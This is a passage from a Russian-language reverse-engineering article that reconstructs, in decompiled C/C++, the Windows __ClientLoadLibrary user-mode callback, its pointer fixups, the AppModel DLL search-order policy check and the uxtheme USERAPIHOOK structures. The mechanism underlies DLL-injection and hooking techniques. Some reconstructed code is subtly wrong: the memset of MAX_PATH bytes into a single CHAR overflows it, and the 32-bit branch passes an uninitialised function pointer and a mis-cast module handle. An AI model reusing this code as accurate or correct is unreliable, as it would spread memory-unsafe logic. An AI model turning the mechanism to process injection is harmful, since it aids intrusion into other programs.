    UNICODE_STRING lpDLLPath;   // [6] имя модуля, загружаемого через LoadLibraryExW
    union {
        ULONG lpfnNotify;                   // [7] для x32: поле lpfnNotify является смещением относительно загруженного модуля вызываемой функции
        UNICODE_STRING lpInitFunctionName;  // [8] для x64: поле lpInitFunctionName является именем вызываемой функции; эта функция должна быть экспортируемой, потому что она извлекается с помощью GetProcAddress
    };
    ULONG offCbk[2];            // [9,10] чтобы пропустить вызов функции инициализации, просто укажите значение 0 для lpfnNotify в x32, или не указывайте смещение для имени функции (FixupsCount = 1 и offCbk[1] = 0) для x64
    ULONG undefined[4];         // [11,12,13,14]
} CAPTUREBUF, *PCAPTUREBUF;

Эта структура является специализацией более общего и сложного механизма, который существует в драйвере win32k.sys для обратных вызовов пользовательского режима.
Она состоит из фиксированного заголовка (от BufferSize до bFixed) и данных переменной длины (начиная с lpDLLPath).

Немного слов о внутренней структуре __ClientLoadLibrary. Реализация этой функции и функций, которые она вызывает для 32-х битного и 64-х битного кодов разная. Поэтому в дальнейшем я буду использовать директиву препроцессора _WIN64 для разделения соответствующего кода.

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
typedef LONG(CALLBACK *gpfnInitUserApi)(ULONG, PVOID);
 
typedef LRESULT(WINAPI *_ClientLoadLibrary)(
    _In_ PCAPTUREBUF pCapBuffer
    );
 
LRESULT ClientLoadLibrary(PCAPTUREBUF pCapBuffer)
{
    HMODULE hMod, newhMod;
    CHAR Dst;
    PCWCH pWideCharStr;
 
    memset(&Dst, 0, MAX_PATH);
 
    if (pCapBuffer->FixupsCount && !pCapBuffer->bFixed)
        FixupCallbackPointers(pCapBuffer);
 
    AppModelPolicy_PolicyValue ModelPolicy_Value = DllSearchOrder_Traditional;
 
    PS_PKG_CLAIM PsPkgClaim = { 0 };
    ULONG_PTR AttributesPresent = 0;
 
    gpfnInitUserApi gfInitUserApi = 0;
 
#ifdef _WIN64
    LONG_PTR dwhMod;
    LONG newWideCharStr;
 
    AppModelPolicy_GetPolicy_Internal(GetCurrentThreadEffectiveToken(), DllSearchOrder, &ModelPolicy_Value, &PsPkgClaim, &AttributesPresent);
    hMod = LoadLibraryExW(pCapBuffer->lpDLLPath.Buffer, nullptr, ModelPolicy_Value != DllSearchOrder_PackageGraphBased ? 8 : 0);
    dwhMod = (LONG_PTR)hMod;
    if (hMod) {
        pWideCharStr = pCapBuffer->lpInitFunctionName.Buffer;
        if (pWideCharStr) {
            newhMod = hMod;
            newWideCharStr = WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, pWideCharStr, -1, &Dst, MAX_PATH, nullptr, nullptr);
            dwhMod = newWideCharStr;
            if (!newWideCharStr) goto LABEL_16;
            gfInitUserApi = (gpfnInitUserApi)GetProcAddress(newhMod, &Dst);
            if (!gfInitUserApi || !(ULONG)InitUserApiHook(newhMod, gfInitUserApi)) dwhMod = 0;
            if (dwhMod) dwhMod = (LONG_PTR)newhMod;
            else
                LABEL_16:
            FreeLibrary(newhMod);
        }
    }
    LONG_PTR Result = dwhMod;
#else
    AppModelPolicy_GetPolicy_Internal(GetCurrentThreadEffectiveToken(), &ModelPolicy_Value, &PsPkgClaim, &AttributesPresent);
    hMod = LoadLibraryExW(*(PCWCH*)pCapBuffer->lpfnNotify, nullptr, ModelPolicy_Value != DllSearchOrder_PackageGraphBased ? 8 : 0);
    if (hMod) {
        pWideCharStr = *(PCWCH*)(pCapBuffer->offCbk[0]);
        if (pWideCharStr) {
            newhMod = hMod;
            hMod = (HMODULE)WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, pWideCharStr, -1, &Dst, MAX_PATH, nullptr, nullptr);
            if (!hMod) goto LABEL_16;
            if (!GetProcAddress(newhMod, &Dst) || !InitUserApiHook((HMODULE)pCapBuffer, gfInitUserApi)) hMod = nullptr;
            if (hMod) hMod = newhMod;
            else
                LABEL_16:
            FreeLibrary(newhMod);
        }
    }
    HMODULE Result = hMod;
#endif // _WIN64
 
    return NtCallbackReturn(&Result, 0x18u, 0);
}

В начале функции проверяются значения FixupsCount и bFixed и затем вызывается FixupCallbackPointers.
FixupCallbackPointers исправляет указатели довольно интересным способом. Сначала ищется адрес указателей обратного вызова, затем она просматривает список указателей и исправляет его, разрешая смещение по фактическому (реальному) адресу

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef VOID(WINAPI *_FixupCallbackPointers)(
    _In_ PCAPTUREBUF pCapBuffer
    );
 
VOID FixupCallbackPointers(PCAPTUREBUF pCapBuffer)
{
    ULONG fixCount;
    PULONG_PTR pOffset;
    LONG_PTR newOffset;
 
    fixCount = 0;
    pOffset = (PULONG_PTR)((PCH)pCapBuffer + pCapBuffer->offCbkPtrs);
    if (pCapBuffer->FixupsCount)
        do {
            newOffset = *pOffset;
            *(PULONG_PTR)((PCH)pCapBuffer + newOffset) += *(PULONG_PTR)pCapBuffer;
            ++pOffset;
            ++fixCount;
        } while (fixCount < pCapBuffer->FixupsCount);
}

Далее отрабатывает AppModelPolicy_GetPolicy_Internal

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
typedef enum _AppModelPolicy_Type {
    LifecycleManager = 0x1,
    AppDataAccess = 0x2,
    WindowingModel = 0x3,
    DllSearchOrder = 0x4,
    Fusion = 0x5,
    NonWindowsCodeLoading = 0x6,
    ProcessEnd = 0x7,
    BeginThreadInit = 0x8,
    DeveloperInformation = 0x9,
    CreateFileAccess = 0xA,
    ImplicitPackageBreakaway_Internal = 0xB,
    ProcessActivationShim = 0xC,
    AppKnownToStateRepository = 0xD,
    AudioManagement = 0xE,
    PackageMayContainPublicComRegistrations = 0xF,
    PackageMayContainPrivateComRegistrations = 0x10,
    LaunchCreateProcessExtensions = 0x11,
    ClrCompat = 0x12,
    LoaderIgnoreAlteredSearchForRelativePath = 0x13,
    ImplicitlyActivateClassicAAAServersAsIU = 0x14,
    ComClassicCatalog = 0x15,
    ComUnmarshaling = 0x16,
    ComAppLaunchPerfEnhancements = 0x17,
    ComSecurityInitialization = 0x18,
    RoInitializeSingleThreadedBehavior = 0x19,
    ComDefaultExceptionHandling = 0x1A,
    ComOopProxyAgility = 0x1B,
    AppServiceLifetime = 0x1C,
    WebPlatform = 0x1D,
    WinInetStoragePartitioning = 0x1E,
    IndexerProtocolHandlerHost = 0x1F,
    LoaderIncludeUserDirectories = 0x20,
    ConvertAppContainerToRestrictedAppContainer = 0x21,
    PackageMayContainPrivateMapiProvider = 0x22,
    AdminProcessPackageClaims = 0x23,
    RegistryRedirectionBehavior = 0x24,
    BypassCreateProcessAppxExtension = 0x25,
    KnownFolderRedirection = 0x26,
    PrivateActivateAsPackageWinrtClasses = 0x27,
    AppPrivateFolderRedirection = 0x28,
    GlobalSystemAppDataAccess = 0x29,
    ConsoleHandleInheritance = 0x2A,
    ConsoleBufferAccess = 0x2B,
    ConvertCallerTokenToUserTokenForDeployment = 0x2C
} AppModelPolicy_Type;
 
 
typedef enum _AppModelPolicy_PolicyValue {
    None = 0,
    LifecycleManager_Unmanaged = 0x10000,
    LifecycleManager_ManagedByPLM = 0x10001,
    LifecycleManager_ManagedByEM = 0x10002,
    AppDataAccess_Allowed = 0x20000,
    AppDataAccess_Denied = 0x20001,
    WindowingModel_Hwnd = 0x30000,
    WindowingModel_CoreWindow = 0x30001,
    WindowingModel_LegacyPhone = 0x30002,
    WindowingModel_None = 0x30003,
    DllSearchOrder_Traditional = 0x40000,
    DllSearchOrder_PackageGraphBased = 0x40001,
    Fusion_Full = 0x50000,
    Fusion_Limited = 0x50001,
    NonWindowsCodeLoading_Allowed = 0x60000,
    NonWindowsCodeLoading_Denied = 0x60001,
    ProcessEnd_TerminateProcess = 0x70000,
    ProcessEnd_ExitProcess = 0x70001,
    BeginThreadInit_RoInitialize = 0x80000,
    BeginThreadInit_None = 0x80001,
    DeveloperInformation_UI = 0x90000,
    DeveloperInformation_None = 0x90001,
    CreateFileAccess_Full = 0xA0000,
    CreateFileAccess_Limited = 0xA0001,
    ImplicitPackageBreakaway_Allowed = 0xB0000,
    ImplicitPackageBreakaway_Denied = 0xB0001,
    ImplicitPackageBreakaway_DeniedByApp = 0xB0002,
    ProcessActivationShim_None = 0xC0000,
    ProcessActivationShim_PackagedCWALauncher = 0xC0001,
    AppKnownToStateRepository_Known = 0xD0000,
    AppKnownToStateRepository_Unknown = 0xD0001,
    AudioManagement_Unmanaged = 0xE0000,
    AudioManagement_ManagedByPBM = 0xE0001,
    PackageMayContainPublicComRegistrations_Yes = 0xF0000,
    PackageMayContainPublicComRegistrations_No = 0xF0001,
    PackageMayContainPrivateComRegistrations_None = 0x100000,
    PackageMayContainPrivateComRegistrations_PrivateHive = 0x100001,
    LaunchCreateProcessExtensions_None = 0x110000,
    LaunchCreateProcessExtensions_RegisterWithPsm = 0x110001,
    LaunchCreateProcessExtensions_RegisterWithDesktopAppX = 0x110002,
    ClrCompat_Others = 0x120000,
    ClrCompat_ClassicDesktop = 0x120001,
    ClrCompat_Universal = 0x120002,
    ClrCompat_PackagedDesktop = 0x120003,
    LoaderIgnoreAlteredSearchForRelativePath_False = 0x130000,
    LoaderIgnoreAlteredSearchForRelativePath_True = 0x130001,
    ImplicitlyActivateClassicAAAServersAsIU_Yes = 0x140000,
    ImplicitlyActivateClassicAAAServersAsIU_No = 0x140001,
    ComClassicCatalog_MachineHiveAndUserHive = 0x150000,
    ComClassicCatalog_MachineHiveOnly = 0x150001,
    ComUnmarshaling_ForceStrongUnmarshaling = 0x160000,
    ComUnmarshaling_ApplicationManaged = 0x160001,
    ComAppLaunchPerfEnhancements_Enabled = 0x170000,
    ComAppLaunchPerfEnhancements_Disabled = 0x170001,
    ComSecurityInitialization_ApplicationManaged = 0x180000,
    ComSecurityInitialization_SystemManaged = 0x180001,
    RoInitializeSingleThreadedBehavior_ASTA = 0x190000,
    RoInitializeSingleThreadedBehavior_STA = 0x190001,
    ComDefaultExceptionHandling_HandleAll = 0x1A0000,
    ComDefaultExceptionHandling_HandleNone = 0x1A0001,
    ComOopProxyAgility_Agile = 0x1B0000,
    ComOopProxyAgility_NonAgile = 0x1B0001,
    AppServiceLifetime_StandardTimeout = 0x1C0000,
    AppServiceLifetime_ExtendedForSamePackage = 0x1C0001,
    WebPlatform_Edge = 0x1D0000,
    WebPlatform_Legacy = 0x1D0001,
    WinInetStoragePartitioning_Isolated = 0x1E0000,
    WinInetStoragePartitioning_SharedWithAppContainer = 0x1E0001,
    IndexerProtocolHandlerHost_PerUser = 0x1F0000,
    IndexerProtocolHandlerHost_PerApp = 0x1F0001,
    LoaderIncludeUserDirectories_False = 0x200000,
    LoaderIncludeUserDirectories_True = 0x200001,
    ConvertAppContainerToRestrictedAppContainer_False = 0x210000,
    ConvertAppContainerToRestrictedAppContainer_True = 0x210001,
    PackageMayContainPrivateMapiProvider_None = 0x220000,
    PackageMayContainPrivateMapiProvider_PrivateHive = 0x220001,
    AdminProcessPackageClaims_None = 0x230000,
    AdminProcessPackageClaims_Caller = 0x230001,
    RegistryRedirectionBehavior_None = 0x240000,
    RegistryRedirectionBehavior_CopyOnWrite = 0x240001,
    BypassCreateProcessAppxExtension_False = 0x250000,
    BypassCreateProcessAppxExtension_True = 0x250001,
    KnownFolderRedirection_Isolated = 0x260000,
    KnownFolderRedirection_RedirectToPackage = 0x260001,
    PrivateActivateAsPackageWinrtClasses_AllowNone = 0x270000,
    PrivateActivateAsPackageWinrtClasses_AllowFullTrust = 0x270001,
    PrivateActivateAsPackageWinrtClasses_AllowNonFullTrust = 0x270002,
    AppPrivateFolderRedirection_None = 0x280000,
    AppPrivateFolderRedirection_AppPrivate = 0x280001,
    GlobalSystemAppDataAccess_Normal = 0x290000,
    GlobalSystemAppDataAccess_Virtualized = 0x290001,
    ConsoleHandleInheritance_ConsoleOnly = 0x2A0000,
    ConsoleHandleInheritance_All = 0x2A0001,
    ConsoleBufferAccess_RestrictedUnidirectional = 0x2B0000,
    ConsoleBufferAccess_Unrestricted = 0x2B0001,
    ConvertCallerTokenToUserTokenForDeployment_UserCallerToken = 0x2C0000,
    ConvertCallerTokenToUserTokenForDeployment_ConvertTokenToUserToken = 0x2C0001,
} AppModelPolicy_PolicyValue, *pAppModelPolicy_PolicyValue;
 
typedef struct _PS_PKG_CLAIM {
    ULONG_PTR Flags;
    ULONG_PTR Origin;
} PS_PKG_CLAIM, *PPS_PKG_CLAIM;
 
#ifdef _WIN64
typedef LRESULT(WINAPI *_AppModelPolicy_GetPolicy_Internal)(
    _In_ HANDLE TokenHandle,
    _In_opt_ AppModelPolicy_Type ModelPolicy_Type,
    _In_ pAppModelPolicy_PolicyValue ModelPolicy_Value,
    _Out_opt_ PPS_PKG_CLAIM PkgClaim,
    _Out_opt_ PULONG_PTR AttributesPresent
    );
#else
typedef LRESULT(WINAPI *_AppModelPolicy_GetPolicy_Internal)(
    _In_ HANDLE TokenHandle,
    _In_ pAppModelPolicy_PolicyValue ModelPolicy_Value,
    _Out_opt_ PPS_PKG_CLAIM PkgClaim,
    _Out_opt_ PULONG_PTR AttributesPresent
    );
#endif // _WIN64
 
#define STATUS_NOT_FOUND 0xC0000225
#ifdef _WIN64
LRESULT AppModelPolicy_GetPolicy_Internal(HANDLE TokenHandle, AppModelPolicy_Type ModelPolicy_Type, pAppModelPolicy_PolicyValue ModelPolicy_Value, PPS_PKG_CLAIM PsPkgClaim, PULONG_PTR AttributesPresent)
{
    AppModelPolicy_PolicyValue newModelPolicy_Value;
    ULONG_PTR newPsPkgClaim;
 
    NTSTATUS Result = RtlQueryPackageClaims(TokenHandle, nullptr, nullptr, nullptr, nullptr, nullptr, PsPkgClaim, AttributesPresent);
 
    if (Result == STATUS_NOT_FOUND) {
        *AttributesPresent = 0;
        Result = 0;
        *(PULONG_PTR)PsPkgClaim = 0;
    }
 
    *ModelPolicy_Value = None;
 
    if ((Result & 0x80000000) == 0) {
        if (*(PBYTE)AttributesPresent & 1 && *(PBYTE)AttributesPresent & 2 && !(*(PBYTE)AttributesPresent & 4)) {
            newPsPkgClaim = *(PULONG_PTR)PsPkgClaim;
            if (_bittest64((const PLONG_PTR)&newPsPkgClaim, 0xAu) || _bittest64((const PLONG_PTR)&newPsPkgClaim, 0xBu) || newPsPkgClaim & 4) {
                newModelPolicy_Value = DllSearchOrder_PackageGraphBased;
                goto LABEL_6;
            }
            if (!(newPsPkgClaim & 8)) {
                newModelPolicy_Value = DllSearchOrder_Traditional;
                if (!(newPsPkgClaim & 0x40))
                    newModelPolicy_Value = (AppModelPolicy_PolicyValue)(~(UCHAR)(newPsPkgClaim >> 12) & 1 | DllSearchOrder_Traditional);
                goto LABEL_6;
            }
        }
        newModelPolicy_Value = DllSearchOrder_PackageGraphBased;
    LABEL_6:
        *ModelPolicy_Value = newModelPolicy_Value;
    }
    return Result;
}
#else
LRESULT AppModelPolicy_GetPolicy_Internal(HANDLE TokenHandle, pAppModelPolicy_PolicyValue ModelPolicy_Value, PPS_PKG_CLAIM PsPkgClaim, PULONG_PTR AttributesPresent)
{
    AppModelPolicy_PolicyValue newModelPolicy_Value;
    LONG newPsPkgClaim;
    LONG newAttributesPresent;
 
    NTSTATUS Result = RtlQueryPackageClaims(TokenHandle, nullptr, nullptr, nullptr, nullptr, nullptr, PsPkgClaim, AttributesPresent);
 
    if (Result == STATUS_NOT_FOUND) {
        *AttributesPresent = 0;
        Result = 0;
        *(PULONG_PTR)PsPkgClaim = 0;
    }
 
    *ModelPolicy_Value = None;
 
    if (Result >= 0) {
        newAttributesPresent = *AttributesPresent;
        if (!(*AttributesPresent & 1) || !(newAttributesPresent & 2) || newAttributesPresent & 4) goto LABEL_12;
        newPsPkgClaim = *(PLONG)PsPkgClaim;
        if (!(*(PLONG)PsPkgClaim & 0x400) && !(newPsPkgClaim & 0x800) && !(newPsPkgClaim & 4)) {
            if (newPsPkgClaim & 8 || newPsPkgClaim & 0x40) {
            LABEL_12:
                newModelPolicy_Value = DllSearchOrder_Traditional;
            LABEL_15:
                *ModelPolicy_Value = newModelPolicy_Value;
                return Result;
            }
            newModelPolicy_Value = DllSearchOrder_Traditional;
            if (newPsPkgClaim & 0x1000) goto LABEL_15;
        }
        newModelPolicy_Value = DllSearchOrder_PackageGraphBased;
        goto LABEL_15;
    }
    return Result;
}
#endif // _WIN64

После исправления всех указателей мы возвращаемся к __ClientLoadLibrary, и затем вызывается InitUserApiHook

C++
1
2
3
4
typedef LRESULT(WINAPI *_InitUserApiHook)(
    _In_ HMODULE ghmodUserApiHook,
    _Inout_ gpfnInitUserApi gfInitUserApi
    );

Она вызывает функцию ResetUserApiHook, которая заполняет массив адресом функции, указанным в аргументе 1. После этого она вызывает функцию уведомления, на которую указывает (hModule + lpfnNotify), передавая массив адреса в качестве аргумента 2.

C++
1
2
3
typedef VOID(WINAPI *_ResetUserApiHook)(
    _In_ PUSERAPIHOOK pUserApiHook
    );

ResetUserApiHook Заполняет массив, указателем PUSERAPIHOOK (эти данные содержаться в uxtheme.dll)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
typedef struct _MSGMASK {
    ULONG_PTR rgb;
    ULONG cb;
    UCHAR undefined[4];
} MSGMASK, *PMSGMASK;
 
typedef struct _USEROWPINFO {
    PVOID pfnBeforeOWP;
    PVOID pfnAfterOWP;
    MSGMASK mm;
} USEROWPINFO, *PUSEROWPINFO;
 
typedef enum _WINDOWPARTS {
    WP_CAPTION = 0x1,
    WP_SMALLCAPTION = 0x2,
    WP_MINCAPTION = 0x3,
    WP_SMALLMINCAPTION = 0x4,
    WP_MAXCAPTION = 0x5,
    WP_SMALLMAXCAPTION = 0x6,
    WP_FRAMELEFT = 0x7,
    WP_FRAMERIGHT = 0x8,
    WP_FRAMEBOTTOM = 0x9,
    WP_SMALLFRAMELEFT = 0x0A,
    WP_SMALLFRAMERIGHT = 0x0B,
    WP_SMALLFRAMEBOTTOM = 0x0C,
    WP_SYSBUTTON = 0x0D,
    WP_MDISYSBUTTON = 0x0E,
    WP_MINBUTTON = 0x0F,
    WP_MDIMINBUTTON = 0x10,
    WP_MAXBUTTON = 0x11,
    WP_CLOSEBUTTON = 0x12,
    WP_SMALLCLOSEBUTTON = 0x13,
    WP_MDICLOSEBUTTON = 0x14,
    WP_RESTOREBUTTON = 0x15,
    WP_MDIRESTOREBUTTON = 0x16,
    WP_HELPBUTTON = 0x17,
    WP_MDIHELPBUTTON = 0x18,
    WP_HORZSCROLL = 0x19,
    WP_HORZTHUMB = 0x1A,
    WP_VERTSCROLL = 0x1B,
    WP_VERTTHUMB = 0x1C,
    WP_DIALOG = 0x1D,
    WP_CAPTIONSIZINGTEMPLATE = 0x1E,
    WP_SMALLCAPTIONSIZINGTEMPLATE = 0x1F,
    WP_FRAMELEFTSIZINGTEMPLATE = 0x20,
    WP_SMALLFRAMELEFTSIZINGTEMPLATE = 0x21,
    WP_FRAMERIGHTSIZINGTEMPLATE = 0x22,
    WP_SMALLFRAMERIGHTSIZINGTEMPLATE = 0x23,
    WP_FRAMEBOTTOMSIZINGTEMPLATE = 0x24,
    WP_SMALLFRAMEBOTTOMSIZINGTEMPLATE = 0x25,
    WP_FRAME = 0x26
} WINDOWPARTS;
 
typedef enum _FRAMESTATES {
    FS_ACTIVE = 0x1,
    FS_INACTIVE = 0x2
} FRAMESTATES;
 
typedef interface ICustomDrawing ICustomDrawing;
typedef ICustomDrawing *LPCUSTOMDRAWING;
typedef VOID(WINAPI *_ClassicNcPaint)(LPCUSTOMDRAWING picd, HWND *hwnd, WPARAM wParam, PWCH pszCaption);
typedef HRESULT(WINAPI *ClassicWndProc)(PVOID pvThis, HWND *hwnd, ULONG nMsg, WPARAM wParam, LPARAM lParam, PULONG_PTR plRet);
 
class CImageFile {
public:
    CImageFile ();
    ~CImageFile ();
private:
};
CImageFile ::CImageFile (){}
CImageFile ::~CImageFile (){}
 
typedef struct _MARGINS {
    //00000000 cxLeftWidth     dd ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 20C / r;
    //00000004 cxRightWidth    dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + BC / r;
    //00000008 cyTopHeight     dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + 5B / r;
    //0000000C cyBottomHeight  dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + C6 / r;
} MARGINS, *PMARGINS;
 
typedef enum _CLOSEBUTTONSTATES {
    CBS_NORMAL = 0x1,
    CBS_HOT = 0x2,
    CBS_PUSHED = 0x3,
    CBS_DISABLED = 0x4
} CLOSEBUTTONSTATES;
 
typedef struct _NCWNDMET {
    //00000000 fValid          dd ? ;
    //00000004 fFrame          dd ? ;
    //00000008 fSmallFrame     dd ? ;
    //0000000 fMin            dd ? ;
    //00000010 fMaxed          dd ? ;
    //00000014 fFullMaxed      dd ? ;
    //00000018 fDirtyRects     dd ? ;
    //0000001 fCustomFrame    dd ? ;
    //00000020 fCustom         dd ? ;
    ULONG dwStyle;
    ClassicWndProc dwExStyle;
    ULONG dwWindowStatus;
    ULONG dwStyleClass;
    WINDOWPARTS rgframeparts;
    WINDOWPARTS rgsizehitparts;
    FRAMESTATES framestate;
    _ClassicNcPaint hfCaption;
    SIZE sizeCaptionText;
    MARGINS CaptionMargins;
    ULONG iMinButtonPart;
    ULONG iMaxButtonPart;
    CLOSEBUTTONSTATES rawCloseBtnState;
    CLOSEBUTTONSTATES rawMinBtnState;
    CLOSEBUTTONSTATES rawMaxBtnState;
    CLOSEBUTTONSTATES rawHelpBtnState;
    ULONG cyMenu;
    ULONG cnMenuOffsetLeft;
    ULONG cnMenuOffsetRight;
    ULONG cnMenuOffsetTop;
    ULONG cnBorders;
    ClassicWndProc rcS0;
    ClassicWndProc rcW0;
    ULONG _rgbCaption;
    UCHAR _fIsCaptionColorValid;
    UCHAR undefined[7];
} NCWNDMET, *PNCWNDMET;
 
typedef enum _MSGTYPE {
    MSGTYPE_PRE_WNDPROC = 0,
    MSGTYPE_POST_WNDPROC = 1,
    MSGTYPE_PRE_DEFDLGPROC = 2,
    MSGTYPE_POST_DEFDLGPROC = 3,
    MSGTYPE_DEFWNDPROC = 4
} MSGTYPE;
 
typedef HRESULT(WINAPI *ThemePostDefDlgProc)(HWND *hwnd, ULONG uMsg, WPARAM wParam, LPARAM lParam, PLONG_PTR plRes, PVOID *ppvData);
 
typedef struct _THEME_MSG {
    HWND hwnd;
    ULONG uMsg;
    UCHAR undefined1[4];
    WPARAM wParam;
    LPARAM lParam;
    MSGTYPE type;
    ULONG uCodePage;
    PVOID pfnDefProc;
    ULONG_PTR lRet;
    ThemePostDefDlgProc fHandled;
    UCHAR undefined2[4];
} THEME_MSG, *PTHEME_MSG;
 
class CThemeWnd {
public:
    CThemeWnd();
    ~CThemeWnd();
private:
};
inline CThemeWnd::CThemeWnd(){}
CThemeWnd::~CThemeWnd(){}
 
typedef LRESULT(WINAPI *OnOwpPostThemeChanged)(CThemeWnd *pwnd, PTHEME_MSG ptm);
typedef HBRUSH(WINAPI *GetDialogColor)(HWND *hwnd);
 
typedef struct _NCTRANSPARENCY {
    ULONG _bf0;
} NCTRANSPARENCY, *PNCTRANSPARENCY;
 
typedef struct _NCTHEMEMET {
    OnOwpPostThemeChanged hTheme;
    //00000008 hThemeTab       dq ? ; offset;
    //00000010 dpi             dd ? ; XREF: CThemeWnd::GetNcWindowMetrics(tagRECT const *, NCWNDMET * *, _NCTHEMEMET *, ULONG) + 1A4 / r;
    ULONG _bf14;
    MARGINS marCaptionText;
    MARGINS marMinCaptionText;
    //00000028; CThemeWnd::GetNcWindowMetrics(tagRECT const *, NCWNDMET * *, NCTHEMEMET *, ULONG) + 82A / r;
    MARGINS marMaxCaptionText;
    MARGINS marSmCaptionText;
    ULONG dyMenuBar;
    ULONG cnSmallMaximizedWidth;
    ULONG cnSmallMaximizedHeight;
    SIZE sizeBtn;
    SIZE sizeSmBtn;
    UCHAR undefined[4];
    GetDialogColor hbrTabDialog;
    //00000080 hbmTabDialog    dq ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 2CD / w;
    GetDialogColor hbrAeroTabDialog;
    //00000090 hbmAeroTabDialog dq ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 22 / w;
    NCTRANSPARENCY nct;
    ULONG nGlowSize;
} NCTHEMEMET, *PNCTHEMEMET;
 
typedef LRESULT(WINAPI *_ThemeDefWindowProc)(HWND *hwnd, ULONG uMsg, WPARAM wParam, LPARAM lParam, BOOL bUnicode);
typedef HRESULT(WINAPI *ThemeGetScrollInfoProc)(HWND *hwnd, LONG nBar, LPSCROLLINFO psi);
typedef HRESULT(WINAPI *ThemeSetScrollInfoProc)(HWND *hwnd, LONG nBar, LPSCROLLINFO psi, LONG fRedraw);
typedef HRESULT(WINAPI *ThemeEnableScrollInfoProc)(HWND *hwnd, ULONG nSBFlags, ULONG nArrows);
typedef HRESULT(WINAPI *ClassicAdjustWindowRectEx)(RECT *prcWnd, ULONG dwStyle, LONG fMenu, ULONG dwExStyle);
typedef HRESULT(WINAPI *ThemeSetWindowRgn)(HWND *hwnd, HRGN *hrgn, LONG fRedraw);
typedef HRESULT(WINAPI *_GetNcBtnMetrics)(PNCWNDMET pncwm, PNCTHEMEMET pnctm, HICON *hAppIcon, LONG fCanClose);
typedef HRESULT(WINAPI *ClassicSystemParametersInfoA)(ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni);
typedef HRESULT(WINAPI *ClassicSystemParametersInfoW)(ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni);
typedef HRESULT(WINAPI *ThemeHookShutdown)(VOID);
typedef HRESULT(WINAPI *ThemeDrawFrameControl)(HDC *hdc, PRECT prc, ULONG uType, ULONG uState);
typedef HRESULT(WINAPI *ThemeDrawCaption)(HWND *hwnd, HDC *hdc, PRECT prc, ULONG uType);
typedef VOID(WINAPI *ThemeMDIRedrawFrame)(HWND *hwndChild, LONG fAdd);
typedef HRESULT(WINAPI *ClassicGetSystemMetricsForDpi)(LONG iMetric, ULONG dpi);
typedef HRESULT(WINAPI *ClassicSystemParametersInfoForDpi)(ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni, ULONG dpi);
typedef HRESULT(WINAPI *_FreshenThemeMetricsCB)(HWND *hwnd, LPARAM lParam);
 
typedef struct _USERAPIHOOK {
    ULONG cbSize;
    UCHAR undefined[4];
    _ThemeDefWindowProc pfnDefWindowProcA;
    _ThemeDefWindowProc pfnDefWindowProcW;
    MSGMASK mmDWP;
    ThemeGetScrollInfoProc pfnGetScrollInfo;
    ThemeSetScrollInfoProc pfnSetScrollInfo;
    ThemeEnableScrollInfoProc pfnEnableScrollBar;
    ClassicAdjustWindowRectEx pfnAdjustWindowRectEx;
    ThemeSetWindowRgn pfnSetWindowRgn;
    USEROWPINFO uoiWnd;
    USEROWPINFO uoiDlg;
    _GetNcBtnMetrics pfnGetSystemMetrics;
    ClassicSystemParametersInfoA pfnSystemParametersInfoA;
    ClassicSystemParametersInfoW pfnSystemParametersInfoW;
    ThemeHookShutdown pfnForceResetUserApiHook;
    ThemeDrawFrameControl pfnDrawFrameControl;
    ThemeDrawCaption pfnDrawCaption;
    ThemeMDIRedrawFrame pfnMDIRedrawFrame;
    PVOID pfnBroadcastThemeChange; // import from USER32.dll!BroadcastThemeChangeEvent -> ntdll.dll!NtUserBroadcastThemeChangeEvent
